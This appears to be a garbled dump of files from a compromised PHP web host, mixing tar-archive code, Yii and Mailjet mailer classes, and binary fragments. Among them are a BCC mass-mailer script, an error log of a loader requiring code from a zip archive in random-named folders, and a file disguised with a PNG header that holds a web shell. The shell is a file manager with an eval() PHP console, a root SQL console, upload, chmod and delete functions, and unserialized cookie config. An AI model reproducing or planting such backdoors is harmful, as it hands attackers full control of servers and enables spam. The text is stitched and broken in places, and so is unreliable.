incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PKz&e[ӭxHxHfunctionalityRee.tarnu[Gmailsmtp.php000064400000003142151026170410007207 0ustar00SMTPDebug = 1; $mail->setFrom($Sender_email, $Sender_name). "\r\n"; $tos = $Bcc; $addr = explode(',',$tos ); $mail->isHTML(true); $mail->CharSet = "UTF-8"; $mail->Subject = $subject; $mail->addCustomHeader('X-custom-header', '1'); foreach ($addr as $to){ // $mail->addReplyTo($reply, $reply_me); $mail->clearAddresses(); $mail->addAddress($to); $actualmsg = $message; $mail->Body =$actualmsg; $mail->addReplyTo($reply, $reply_next); $ok = $mail->send(); //sleep(10); // 10 seconds if ($ok) { echo "Message Sent!!!"; } else { echo "Error"; } // $ok = mail ($to, $subject, $actualmsg, $Sender_email.$Sender_name); } ?>75v86r/index.php000064400000000155151026170410007343 0ustar003r6ytg/error_log000064400000000670151026170410007617 0ustar00[27-Oct-2025 03:46:26 UTC] PHP Warning: require(zip://tron.zip#tronit): failed to open stream: operation failed in /home/gettoplisting/public_html/dd7e5a/functionalityRee/3r6ytg/jd4iz.php on line 10 [27-Oct-2025 03:46:26 UTC] PHP Fatal error: require(): Failed opening required 'zip://tron.zip#tronit' (include_path='.:/opt/alt/php72/usr/share/pear') in /home/gettoplisting/public_html/dd7e5a/functionalityRee/3r6ytg/jd4iz.php on line 10 3r6ytg/jd4iz.php000064400000001323151026170410007433 0ustar005d0kxy/index.php000064400000000150151026170410007501 0ustar00yii/Mailer.php000064400000014201151026170410007253 0ustar00 'http://yoururl.com/tracking/bounce', * ] */ private $_tracking; private $_allowedTrackingEvents = [ 'sent', 'open', 'click', 'bounce', 'spam', 'blocked', 'unsub', ]; /** * @var string message default class name. */ public $messageClass = 'weluse\mailjet\Message'; /** * readonly * @var $_response Mailjet\Response */ private $_response; public function init() { if (!$this->_apikey) { throw new InvalidConfigException(sprintf('"%s::apikey" cannot be null.', get_class($this))); } if (!$this->_secret) { throw new InvalidConfigException(sprintf('"%s::secret" cannot be null.', get_class($this))); } try { $this->createMailjet(); } catch (\Exception $exc) { \Yii::error($exc->getMessage()); throw new \Exception('an error occurred with your mailer. Please check the application logs.', 500); } } /** * Sets the API secret key for Mailjet * * @param string $secret * @throws InvalidConfigException */ public function setSecret($secret) { if (!is_string($secret)) { throw new InvalidConfigException(sprintf('"%s::secret" should be a string, "%s" given.', get_class($this), gettype($apikey))); } $trimmedSecret = trim($secret); if (!strlen($trimmedSecret) > 0) { throw new InvalidConfigException(sprintf('"%s::secret" length should be greater than 0.', get_class($this))); } $this->_secret = $trimmedSecret; } /** * Sets the API key for Mailjet * * @param string $apikey the Mailjet API key * @throws InvalidConfigException */ public function setApikey($apikey) { if (!is_string($apikey)) { throw new InvalidConfigException(sprintf('"%s::apikey" should be a string, "%s" given.', get_class($this), gettype($apikey))); } $trimmedApikey = trim($apikey); if (!strlen($trimmedApikey) > 0) { throw new InvalidConfigException(sprintf('"%s::apikey" length should be greater than 0.', get_class($this))); } $this->_apikey = $trimmedApikey; } /** * Create the Mailjet Object */ public function createMailjet() { $mj = new \Mailjet\Client($this->_apikey, $this->_secret); $this->_mailjet = $mj; } public function getResponse() { return $this->_response; } /** * @inheritdoc */ protected function sendMessage($message) { $recipients = []; foreach ($message->to as $email => $name) { $newRecipient = []; if (!empty($email)) { $newRecipient['Email'] = $email; } if (!empty($name)) { $newRecipient['Name'] = $name; } $recipients[] = $newRecipient; } $body = [ 'Subject' => $message->subject, 'Text-part' => $message->textBody, 'Html-part' => $message->htmlBody, 'Recipients' => $recipients ]; $body = array_merge($message->from, $body); $response = $this->_mailjet->post(Resources::$Email, ['body' => $body]); return $response->success(); } public function setTracking($tracking) { if (is_array($tracking)) { $urlValidator = new UrlValidator; foreach ($tracking as $event => $url) { if (in_array($event, $this->_allowedTrackingEvents)) { if (!$urlValidator->validate($url)) { throw new InvalidConfigException(sprintf('"%s::%s" should be a url', get_class($this), $event)); } $this->_tracking[$event] = $url; } else { throw new InvalidConfigException(sprintf('the %s event is not supported', $event)); } } } else { throw new InvalidConfigException('The trackingActions must be an array'); } } public function activateAllTrackings() { foreach ($this->_tracking as $event => $url) { $this->activateTracking($event, $url); } return true; } public function activateTracking($event, $url) { $body = [ 'EventType' => $event, 'Url' => $url, ]; $response = $this->_mailjet->post(Resources::$Eventcallbackurl, ['body' => $body]); if (!$response->success()) { $eventCallbackurl = Resources::$Eventcallbackurl; $eventCallbackurl[1] = $event; $eventExist = $this->_mailjet->get($eventCallbackurl); $responseData = $eventExist->getData(); /* check if is the tracking url the same */ if ($responseData[0]['Url'] != $url) { throw new UserException('You must clear your old tracking urls first: Yii::$app->mailer->clearAllTrackings(); or Yii::$app->mailer->clearTracking(\'' . $event . '\');'); } } return true; } public function clearAllTrackings() { foreach ($this->_tracking as $event => $url) { $this->clearTracking($event); } } public function clearTracking($event) { if (!in_array($event, $this->_allowedTrackingEvents)) { throw new InvalidConfigException(sprintf('the %s event is not supported', $event)); } $eventCallbackurl = Resources::$Eventcallbackurl; $eventCallbackurl[1] = $event; $response = $this->_mailjet->delete($eventCallbackurl); } } yii/vpmkax/75629.php000064400000231660151026170410010056 0ustar00‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '
'; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function 